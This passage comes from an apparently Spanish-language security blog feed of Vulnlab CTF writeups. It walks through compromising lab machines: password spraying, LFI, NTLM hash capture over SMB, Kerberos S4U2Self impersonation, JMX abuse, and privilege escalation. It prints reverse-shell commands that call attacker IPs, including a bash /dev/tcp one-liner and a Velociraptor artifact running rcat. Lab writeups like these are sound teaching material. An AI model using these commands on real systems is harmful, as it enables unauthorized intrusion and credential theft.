<p>Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:</p>
<pre><code class="lang-bash">password123
Password2024
Password2023
lustrous2
Lustrous2!
Lustrous2024
Welcome2024
Welcome123
Welcome!
User123
Lustrous2!
User2024
Qwerty123
Qwerty2024
123456
Password1
Password!
Sommer2024
Spring2024
Winter2024
Summer2024
Autumn2024
Administrator2024
Admin2024
Guest2024
Ryan123
Ryan2024
Emma123
Emma2024
Aaron123
Aaron2024
Moore2024
Bell2024
Norman2024
Lustrous2024
Start123!
[..snipped..]
</code></pre>
<h2 id="heading-credenciales-encontradas">Credenciales encontradas</h2>
<p>Con el custom wordlist, logro dar con 2 nuevas credenciales:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754368200730/b7d3d41f-1a3f-412c-b85d-f6b462d1c5e5.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754368207850/72b3733e-356c-42bb-87dd-2e7404b1789c.png" alt /></p>
<pre><code class="lang-bash">[+] VALID LOGIN:     Terence.Jordan@lustrous2.vl:Lustrous2!
[+] VALID LOGIN:     Thomas.Myers@lustrous2.vl:Lustrous2024
</code></pre>
<h2 id="heading-extraigo-datos-desde-ldaps-port-636">Extraigo datos desde LDAP’s (port 636).</h2>
<p>Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del Active Directory que será de gran utilidad más adelante. Esta información puede incluir detalles sobre la estructura del dominio, usuarios y grupos:</p>
<pre><code class="lang-bash">ldapsearch -x -H ldaps://lustrous2.vl:636 -D <span class="hljs-string">"Terence.Jordan@lustrous2.vl"</span> -w <span class="hljs-string">'Lustrous2!'</span> -b <span class="hljs-string">"DC=lustrous2,DC=vl"</span> -o tls_reqcert=never &gt;ldap_outfile.txt
</code></pre>
<h2 id="heading-kerberos-authentication-en-linux">Kerberos Authentication en Linux</h2>
<p>Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto podemos hacerlo editando el archivo <code>/etc/krb5.conf</code>. Configurar correctamente este archivo es fundamental para garantizar que las solicitudes de autenticación se procesen sin problemas:</p>
<pre><code class="lang-bash">[libdefaults]
        default_realm = LUSTROUS2.VL
        kdc_timesync = 1
        ccache_type = 4
        forwardable = <span class="hljs-literal">true</span>
        proxiable = <span class="hljs-literal">true</span>
        fcc-mit-ticketflags = <span class="hljs-literal">true</span>
        dns_canonicalize_hostname = <span class="hljs-literal">false</span>
        dns_lookup_realm = <span class="hljs-literal">false</span>
        dns_lookup_kdc = <span class="hljs-literal">true</span>
        k5login_authoritative = <span class="hljs-literal">false</span>
[realms]        
        LUSTROUS2.VL = {
                kdc = lustrous2.vl
                admin_server = lustrous2.vl
                default_admin = lustrous2.vl
        }
[domain_realm]
        .lustrous2.vl = LUSTROUS2.VL
</code></pre>
<p>Una vez seteado el <strong>krb5.conf</strong>, probamos solicitando un ticket para Thomas Myers.</p>
<pre><code class="lang-bash">getTGT.py lustrous2.vl/Thomas.Myers:<span class="hljs-string">'Lustrous2024'</span> -dc-ip 10.129.214.125
</code></pre>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=Thomas.Myers.ccache
</code></pre>
<p>Si comprobamos con <code>klist</code> vemos que tenemos un SPN HTTP:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754374061497/a2eb2257-2ac6-45da-a30e-14d21f9ede9f.png" alt class="image--center mx-auto" /></p>
<p>Si verificamos con curl con el flag de <code>—negotiate</code>:</p>
<pre><code class="lang-bash">curl --negotiate -u : http://lus2dc.lustrous2.vl -v
</code></pre>
<p>Entre el codigo fuente de la pagina vemos que efectivamente gracias al ticket, nos autenticamos y nos reconoce:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754373958275/4e1c9aa4-874f-47d0-b0d8-955d633a3ae3.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-configurando-firefox-para-autenticarse-con-kerberos">Configurando Firefox para autenticarse con Kerberos</h2>
<p>Al parecer funciono todo bien, pero es algo incomodo movernos con el curl por lo que setearemos unos valores en <strong>Firefox</strong> para acceder via interfaz grafica. Desde la consola que exportamos el ticket, ejecuto el firefox via cli:</p>
<pre><code class="lang-bash">firefox
</code></pre>
<p>Una vez abre el browser en la barra de direcciones entramos a la config:</p>
<pre><code class="lang-bash">about:config
</code></pre>
<p>Y seteamos cada uno de los siguientes valores:</p>
<pre><code class="lang-bash">network.negotiate-auth.delegation-uris: lus2dc.lustrous2.vl
network.negotiate-auth.trusted-uris: lus2dc.lustrous2.vl
network.negotiate-auth.using-native-gsslib: <span class="hljs-literal">true</span>
</code></pre>
<p>Configurado esto, podemos reiniciar firefox para que tome efecto los cambios y volver a abrirlo desde desde la consola que exporte el ticket nuevamente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754370702027/735a549f-046a-418b-85d4-c5e1bccdbf05.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-lfi-via-web">LFI via WEB</h2>
<p>Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el <strong>FTP</strong> como usuario <em>anonymous</em>. Si tratamos de hacer un LFI sobre algun archivo clasico del sistema como <code>hosts</code>, vemos que funciona y lo descarga.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997038499/65f7e64f-fb6d-4b6f-beff-e0561eb2037c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997042854/ca667d2f-19c7-44e1-ad20-91d0a29e2205.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-smbserver">SMB_SERVER</h2>
<p>Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del <code>LuShare</code>, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:</p>
<blockquote>
<p><a target="_blank" href="http://lus2dc.lustrous2.vl/File/Download?fileName=%5C%5C10.8.0.147%5C%5Cfoo">http://lus2dc.lustrous2.vl/File/Download?fileName=\10.10.14.24\foo</a></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754381460072/b5a95562-4c3c-4fe3-a917-37e0d387c577.png" alt class="image--center mx-auto" /></p>
<p>Recibo conexion y me permite sacar el hash, el cual vamos a guardarlo y crackearlo con <strong><em>rockyou.txt</em></strong>.</p>
<blockquote>
<h3 id="heading-la-password-es-1service">La password es → <code>#1Service</code></h3>
</blockquote>
<h2 id="heading-obteniendo-un-nuevo-ticket-como-sharesvc">Obteniendo un nuevo ticket como ShareSvc</h2>
<p>Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para la nueva cuenta <strong>ShareSvc</strong>.</p>
<pre><code class="lang-bash">getTGT.py lustrous2.vl/ShareSvc:<span class="hljs-string">'#1Service'</span> -dc-ip 10.129.214.125
</code></pre>
<p>Y si accedemos via curl para testear, efectivamente funciona y nos autentica:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997077905/58fecd19-e4fe-4fdc-8b27-f4db7c1648f0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-volviendo-al-lfi">Volviendo al LFI</h2>
<p>Aunque haya sacado credenciales de <strong>ShareSvc</strong> estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del <strong>LFI</strong> pero esta vez enfocándome en el <strong>IIS</strong> y en tratar de obtener archivos relevantes del mismo. Por ende, me enfoco en el <strong>web.config</strong>.</p>
<blockquote>
<p>(El <code>web.config</code> de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos).</p>
</blockquote>
<p>El LFI luce algo asi:</p>
<pre><code class="lang-bash">http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997126175/9b412527-7d9f-4b09-ada2-359c35aaeb16.png" alt class="image--center mx-auto" /></p>
<p>Ok, tenemos una libreria llamada <code>LuShare.dll</code> la cual podemos descargar y reversearla, a ver si tiene algo que nos interese.</p>
<h2 id="heading-decompilando-el-lusharedll">Decompilando el LuShare.dll</h2>
<p>Analizando el dll con <strong>DNSPY</strong>, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que <strong>solo los usuarios que pertenecen al rol</strong> <code>ShareAdmins</code> pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un <strong>Forbidden</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997135976/82dd6ec5-33c1-460f-b521-8c564950f08f.png" alt class="image--center mx-auto" /></p>
<p>Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (<code>ba45c518</code> en este caso).</p>
<ul>
<li><strong>Verificación del PIN:</strong> Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997148708/d76dfbd9-d8f6-4c18-9f89-653f08c16438.png" alt class="image--center mx-auto" /></p>
<p>Para abusar de estas funciones, se podría intentar obtener acceso a una cuenta con el rol <code>ShareAdmins</code>. Si vemos cuáles son los usuarios que poseen este rol, -con una rápida búsqueda nuevamente con <strong>ldapsearch-,</strong> encuentro dos usuarios potenciales:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997158379/a805294a-74c5-47ec-9013-a4a2a77bab43.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p><mark>- Sharon.Birch<br />- Ryan.Davies</mark></p>
</blockquote>
<h2 id="heading-s4u2self-abuse">S4U2Self Abuse</h2>
<p>S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.</p>
<p>Basicamente es como decirle a un servicio “hacete pasar por tal usuario sin pedirle la contraseña”. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.</p>
<p>Es lo que haré en este caso, impersonando a <strong>Sharon.Birch</strong>:</p>
<pre><code class="lang-bash">getST.py -self -impersonate <span class="hljs-string">"Sharon.Birch"</span> -altservice <span class="hljs-string">"HTTP/lus2dc.lustrous2.vl"</span> -k -no-pass -dc-ip <span class="hljs-string">"10.129.214.125"</span> <span class="hljs-string">"Lustrous2.vl/ShareSvc"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997182271/50783a3a-ec5a-4e5a-a8d0-f605c9d6a8c8.png" alt class="image--center mx-auto" /></p>
<p>Lo exporto y verifico con <strong>klist</strong>:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997208171/aac1dbdd-e3c4-4518-ad0b-970657114162.png" alt class="image--center mx-auto" /></p>
<p>Si ahora abro el <strong>firefox</strong> desde la consola que exporte el ticket de Sharon:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997222250/7d43c606-ec97-44d7-b46b-8c15e95b2fea.png" alt class="image--center mx-auto" /></p>
<p>Somos <strong>Sharon.Birch</strong>. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el <strong>LuShare.dll</strong>, la cual estaba restringida por el rol de <strong>ShareAdmins</strong>.</p>
<h2 id="heading-funcion-debug">Funcion “DEBUG”</h2>
<p>Entre otras de las funciones que figuraba en el <strong>LuShare.dll</strong> estaba la funcion de <mark>DEBUG</mark>, la cual permitia mediante un <strong><mark>PIN</mark></strong> <mark> hardcodeado</mark> la ejecucion de comandos en <strong>Powershell</strong>.</p>
<p>Tambien vemos que solo permite la ejecucion hasta <mark>100 chars</mark>. Mas nos da error.<br />Hagamos la prueba con un simple comando “DIR” y el PIN.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997241596/ba8dd831-2adc-4c90-b664-d48676a3e826.png" alt class="image--center mx-auto" /></p>
<p>Funciona!, y obtenemos el listado de directorios y archivos actuales:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997249924/0c31d325-2548-406f-9185-f44984a24556.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-user-flag">USER FLAG</h1>
<p>Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de <strong>C:\</strong>.</p>
<p>Descargo el <strong>RCAT</strong> (by <strong>xct</strong>) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997266469/57c34486-0697-4c2c-b28b-0cdb98d54d1e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-velociraptor-abuse">Velociraptor Abuse</h2>
<p>Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997274493/7b300d4d-518c-4836-b7a7-f9263254dbdd.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997279518/cc47d180-9681-4bfa-b63a-c6ddf1d17203.png" alt class="image--center mx-auto" /></p>
<p><strong><em>Velociraptor</em></strong> es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:</p>
<ul>
<li><p><strong>Hunts</strong>: Búsquedas forenses automáticas para recolectar datos.</p>
</li>
<li><p><strong>Artifacts</strong>: Plantillas para definir qué datos buscar y cómo.</p>
</li>
<li><p><strong>Server</strong>: Centraliza la gestión y los datos recolectados.</p>
</li>
<li><p><strong>Client</strong>: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.</p>
</li>
</ul>
<p>Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de <strong>LISTENING</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997289303/8c5ae91f-1dd6-4cbd-bffd-06598df7786d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-velociraptor-port-forwarding">Velociraptor Port Forwarding</h2>
<p>Lo primero que necesitamos para trabajar comodos es traernos el puerto con <strong>CHISEL</strong>, desde windows podriamos ejecutar algo asi:</p>
<ul>
<li><blockquote>
<p>ATTACKER IP:</p>
</blockquote>
</li>
</ul>
<pre><code class="lang-plaintext">./chisel server --reverse -p 1234
</code></pre>
<ul>
<li><blockquote>
<p>VICTIM:</p>
</blockquote>
</li>
</ul>
<pre><code class="lang-plaintext">.\chisel.exe client --max-retry-count=1 10.10.14.24:1234 R:8889:127.0.0.1:8889
</code></pre>
<p>Ya con el puerto redireccionado, podemos acceder con el browser <a target="_blank" href="https://localhost:8889/"><code>https://localhost:8889/</code></a> con credenciales de <strong>operator</strong>. (<em>Para ser sincero probe todos los users y passwords por default y funciono</em>)</p>
<blockquote>
<p>Credenciales: <mark>operator:operator</mark></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997365679/b00ec67d-bf01-45a7-8a44-9b930dd7c760.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-exploiting-velociraptor-via-artifacts">Exploiting Velociraptor via Artifacts</h2>
<p>Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: <a target="_blank" href="https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/">https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/</a></p>
<p>Resaltando lo siguiente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753997376391/ef2e84b6-6edd-4fe8-a03e-44287f6baa8e.png" alt class="image--center mx-auto" /></p>
<p>El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.</p>
<p>Basandome en el template de la documentacion creo lo siguiente (aprovechando el <strong>rcat.exe</strong> que esta en <strong>ProgramData</strong>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754378741074/c177252d-d672-4cc2-9758-31bbe81323e2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-artifact-creado-ltshkzgt"><strong>Artifact creado: &lt;SHKZ&gt;</strong></h3>
<pre><code class="lang-bash">name: SHKZ
description: G1ve m3 SHell Plz

precondition:
  SELECT OS From info() <span class="hljs-built_in">where</span> OS = <span class="hljs-string">'windows'</span>

parameters:
  - name: Command
    default: <span class="hljs-string">"C:\\ProgramData\\rcat.exe connect 10.10.14.24 10000"</span>

sources:
  - query: |
      SELECT * FROM execve(argv=[<span class="hljs-string">"cmd.exe"</span>, <span class="hljs-string">"/c"</span>, Command])
</code></pre>
<p>Luego me dirijo a agregar un Hunter y le asigno el <strong>Artifact</strong> que cree (<strong>SHKZ</strong>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754378875228/6f1c76c7-1b53-4041-a931-ca089a986dbe.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754378908849/b036c267-df0e-45a4-8c1e-2104f200152c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754378944361/c3e91619-ae95-498d-b1e6-ccc5b35c2a55.png" alt class="image--center mx-auto" /></p>
<p>Por ultimo le doy a <strong>LAUNCH</strong> y luego en <code>RUN</code>, en segundos obtenemos la shell como <strong>SYSTEM:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754379162645/09530450-5c48-405f-9e49-2369fe83a279.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754379175856/0bde37aa-464b-44a8-a0c0-52fdcd5dfde2.png" alt class="image--center mx-auto" /></p>
<p><strong>Pwn3d!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Manage – Writeup (Vulnlab)]]></title><description><![CDATA[NMAP
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19

Revisando la salida del NM...]]></description><link>https://myhack.tech/manage-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/manage-writeup-vulnlab</guid><category><![CDATA[vulnlab]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Fri, 25 Jul 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996416544/59cec14f-80c8-4001-ba77-8994d6de9b9c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-nmap">NMAP</h2>
<pre><code class="lang-bash">22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19
</code></pre>
<p>Revisando la salida del NMAP vemos que hay un HTTP corriendo. Al parecer este puerto http <strong>(8080)</strong> solamente encontramos un Apache Tomcat por default. Nada interesante de momento.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753995930707/d1595edb-dc07-4cb1-a9b2-ec0395d55a5a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-port-2222tcp">PORT 2222/tcp</h2>
<p>Si profundizo un poco con <strong>NMAP</strong> sobre este puerto, obtengo el siguiente resultado:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753995941143/69bb51f6-f02a-4f71-a058-857b488f3fcd.png" alt class="image--center mx-auto" /></p>
<p>Este servicio es un Java RMI (Remote Method Invocation) ejecutándose en el puerto 2222, que permite a los objetos Java comunicarse y ejecutar métodos de manera remota.}</p>
<ul>
<li>JMX (Java Management Extensions)<br />  JMX facilita la gestión y supervisión de aplicaciones y recursos de Java. Permite el acceso y la manipulación de objetos gestionados llamados MBeans (Managed Beans), que exponen propiedades y métodos para su administración. JMX es utilizado para monitorear, configurar y gestionar aplicaciones tanto localmente como de manera remota.</li>
</ul>
<h2 id="heading-atacando-jmx-puerto-2222">Atacando JMX: Puerto 2222</h2>
<p>Investigando el modo en el que podria abusar de este servicio, doy con una tool llamada <strong>Beanshooter</strong>, la cual es una herramienta de enumeración y ataque para <strong>JMX</strong>,<br />que ayuda a identificar vulnerabilidades comunes en los endpoints <strong>JMX</strong>. El repo lo pueden encontrar en el siguiente link: <a target="_blank" href="https://github.com/qtc-de/beanshooter">https://github.com/qtc-de/beanshooter</a>.<br />Utilizando la siguiente version: <strong>beanshooter-4.1.0-jar-with-dependencies.jar</strong>, procedo a realizar un escaneo de enumeracion frente al Target:</p>
<pre><code class="lang-bash">java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.90.221 2222
</code></pre>
<p>Del output destaco dos hallazgos:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753995970198/36ad7982-6a7b-4def-ad88-7aef21756859.png" alt class="image--center mx-auto" /></p>
<p>Al mismo tiempo al finalizar el escaneo me dumpea 2 credenciales. Para el username <strong>manager</strong> y para el <strong>admin</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753995978355/dcd0e925-905a-4468-88a1-841e433e3937.png" alt class="image--center mx-auto" /></p>
<p>Algo interesante que tiene la tool es que nos permite directamente generar una shell interactiva.<br />Procedo con los siguientes dos comandos para obtener shell:</p>
<pre><code class="lang-bash">java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.90.221 2222 tonka
</code></pre>
<pre><code class="lang-bash">java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.90.221 2222
</code></pre>
<h1 id="heading-user">USER</h1>
<p>Finalmente obtengo la shell como <strong>tomcat</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996003889/d982203e-caa3-4a2c-8ac1-0c75a14a9d43.png" alt class="image--center mx-auto" /></p>
<p>En el path <strong>/opt/tomcat</strong> obtengo el <em>user.txt</em> y saco la flag. Revisando los usuarios del sistema vemos los siguientes:</p>
<pre><code class="lang-bash">root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
</code></pre>
<p>Tratando de reutilizar credenciales me doy cuenta que la shell no es estable y al hacer un comando como <code>su useradmin</code>, se queda freezada.<br />Tenemos dos opciones podriamos generar una revshell con algun C2 favorito o rapidamente un bash-revshell.  </p>
<p>Con un netcat a la escucha del puerto 9000 me doy una revshell desde el target:</p>
<pre><code class="lang-bash">bash -c <span class="hljs-string">'bash -i &gt;&amp; /dev/tcp/10.8.0.147/9000 0&gt;&amp;1'</span>
</code></pre>
<p>Recibo revshell y procedo a intentar reutilizar las credenciales que obtuvimos al principio, parecen dar con el usuario <strong>useradmin</strong> sin embargo este parece tener un estilo OTP sobre su usuario el cual requiere de un codigo de verificacion, que hasta el momento no dispongo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996033857/1f131eb0-e291-4625-8479-361c8fd2a0a9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-escalando-a-useradmin">Escalando a useradmin.</h2>
<p>Después de varias búsquedas me enfoco en archivos pertenecientes a <strong>useradmin</strong> y destaco dos files interesantes:</p>
<pre><code class="lang-bash">find /home -user useradmin -ls 2&gt;/dev/null

-r------- 1 useradmin useradmin 164 Jul  9 06:03 .google_authenticator
-rw-rw-r-- 1 useradmin useradmin 3.1K Jun 21 16:50 backup.tar.gz
</code></pre>
<p>No podemos leer el primer archivo <em>.google_authenticator</em>, sin embargo si podemos ver el contenido del segundo. Lo copio hacia <em>/tmp</em> y trato de descomprimirlo.</p>
<pre><code class="lang-bash">cp backup.tar.gz /tmp
<span class="hljs-built_in">cd</span> /tmp
tar xvzf backup.tar.gz
</code></pre>
<p>Recibo una serie de errores, sin embargo el archivo <em>.google_authenticator</em> se descomprime:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996097374/26cbb2f4-0201-445a-8e2c-43e976b9ee5f.png" alt class="image--center mx-auto" /></p>
<p>Al catearlo vemos que ya estamos en condiciones de escalar a <strong>useradmin</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996109231/d649411d-79a8-4b9c-b46e-4d78e3f6706c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-root-via-sudoers-admin-group">ROOT via SUDOERS (admin group)</h2>
<p>Ya una vez como <em>useradmin</em>, verificamos algunas cosas básicas y entre ellas el <code>sudo -l</code> :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996118292/28e764c8-f8d8-470c-949e-315219815952.png" alt class="image--center mx-auto" /></p>
<p>Mediante sudo estamos permitidos a crear un nuevo usuario en el sistema. Se restringe a caracteres alfanumericos. Intente varias cosas, como crear una cuenta de system con <code>sudo /usr/sbin/adduser test --system</code>, o inyectar caracteres de ‘escape’. Todos los caminos conducian a un unico lugar y era el <strong>SUDOERS</strong> file, ubicado en <em>/etc/sudoers</em>. Como no tengo permiso para visualizarlo, busco una version ‘estandar’ de sistemas Linux Ubuntu. Estos lucen similar a lo siguiente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996135217/aa43077e-c6c5-460d-9af2-918b47fb1c05.png" alt class="image--center mx-auto" /></p>
<p>En la linea 5 vemos que dice “los miembros de el <strong>ADMIN GROUP</strong> pueden obtener privilegios de ROOT”, y si verificamos en los grupos existentes del sistema no existe este grupo.<br />Cuando se crea un nuevo usuario en el sistema, automáticamente se crea un grupo con el mismo nombre. Por lo tanto, si agregamos un usuario llamado ‘admin’, se creará un grupo llamado ‘admin’ y el usuario ‘admin’ se añadirá a ese grupo automáticamente.</p>
<pre><code class="lang-bash">sudo /usr/sbin/adduser admin
</code></pre>
<pre><code class="lang-bash">Adding user `admin<span class="hljs-string">' ...
Adding new group `admin'</span> (1004) ...
Adding new user `admin<span class="hljs-string">' (1004) with group `admin'</span> ...
Creating home directory `/home/admin<span class="hljs-string">' ...
Copying files from `/etc/skel'</span> ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information <span class="hljs-keyword">for</span> admin
Enter the new value, or press ENTER <span class="hljs-keyword">for</span> the default
        Full Name []: 
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
</code></pre>
<p>Intercambio al usuario ‘admin’ creado y ahora podemos ver que si hago un <code>sudo -l</code></p>
<pre><code class="lang-bash">User admin may run the following commands on manage:
    (ALL) ALL
</code></pre>
<p>Solo basta con un <code>sudo su</code> y somos root.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996178022/6b994d9f-d8e3-41c7-afbe-e764af2f061b.png" alt class="image--center mx-auto" /></p>
<p>Pwned.</p>
]]></content:encoded></item><item><title><![CDATA[Reset - Writeup (Vulnlab)]]></title><description><![CDATA[Box Summary
The box had an LFI in a web dashboard that allowed log poisoning, leading to a shell as www-data. From there, I found sadm was a trusted user via rlogin, so I created a local user with the same name and logged in without a password. Insid...]]></description><link>https://myhack.tech/reset-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/reset-writeup-vulnlab</guid><category><![CDATA[reset]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[vulnlab]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Wed, 16 Jul 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029606153/7d7cedbd-b280-48eb-a034-d9556db8c912.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-box-summary"><strong>Box Summary</strong></h2>
<p>The box had an LFI in a web dashboard that allowed log poisoning, leading to a shell as <strong>www-data</strong>. From there, I found <strong>sadm</strong> was a trusted user via <strong>rlogin</strong>, so I created a local user with the same name and logged in without a password. Inside, I attached to an open <strong>tmux</strong> session and grabbed <strong>sadm</strong>‘s password. Finally, using a <strong>sudo nano</strong> privilege, I escalated to root with a quick breakout.</p>
<h1 id="heading-info"><strong>INFO</strong></h1>
<p>I started with a basic scan and found this:</p>
<pre><code class="lang-bash">22/tcp  open  ssh
80/tcp  open  http
512/tcp open  <span class="hljs-built_in">exec</span>
513/tcp open  login
514/tcp open  shell
</code></pre>
<h1 id="heading-foothold"><strong>FOOTHOLD</strong></h1>
<p>Port 80 was running a web server with a simple <strong>Reset</strong> button. I tried submitting <em>admin</em> and it worked. Captured the request using <strong>CAIDO</strong> and saw the password exposed in plain text.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029408328/eb68993d-3a0c-4740-97b9-6fe13efeed38.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-lfi"><strong>LFI</strong></h2>
<p>After logging into the <strong>Dashboard</strong>, I saw this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029419574/1b353759-9a6c-432c-89af-51d499fccdca.png" alt class="image--center mx-auto" /></p>
<p>Checking how the data was being loaded, I found this:</p>
<pre><code class="lang-bash">file=%2Fvar%2Flog%2Fapache2%2Faccess.log
</code></pre>
